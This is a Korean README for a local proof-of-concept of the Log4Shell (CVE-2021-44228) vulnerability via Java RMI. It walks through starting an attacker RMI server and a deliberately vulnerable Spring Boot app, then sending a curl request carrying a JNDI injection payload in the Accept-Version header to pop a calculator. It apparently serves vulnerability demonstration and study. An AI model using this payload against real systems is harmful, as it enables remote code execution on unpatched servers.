log4shell-rmi-poc

Java-RMI를 통한 Log4j 취약점(CVE-2021-44228)의 개념 증명(PoC)
spring-boot-starter-log4j2의 Log4j 2.5.7을 사용합니다.

요구 사항:

Java 8(JDK 1.8.0_25) 및 Java 11(JDK 11.0.1)에서 테스트되었습니다.

POC 실행 방법

1. 저장소 클론:

git clone https://github.com/Labout/log4shell-rmi-poc.git

2. 공격자 RMI 서버 시작

cd Log4jshell_rmi_server

./mvnw clean package

java -jar target/Log4jshell.rmi.server-0.0.1-SNAPSHOT.jar

다음과 같은 화면이 표시되어야 합니다:

3. 취약한 Log4j 애플리케이션(여기서는 Spring Boot 애플리케이션) 시작

새 터미널에서

cd vulnerabel_log4j_app

./mvnw clean package

java -jar target/vulnerabel_log4j_app-0.0.1-SNAPSHOT.jar

4. "Accept-version" 헤더를 통해 취약한 JNDI 주입

curl 'http://localhost:8080/hello' --header 'Accept-Version: ${jndi:rmi://127.0.0.1:1099/ExecByEL}'

보시다시피 취약한 앱이 계산기(Calculator) 앱을 호출합니다.

참고 자료

https://www.cisecurity.org/log4j-zero-day-vulnerability-response/
https://www.lunasec.io/docs/blog/log4j-zero-day/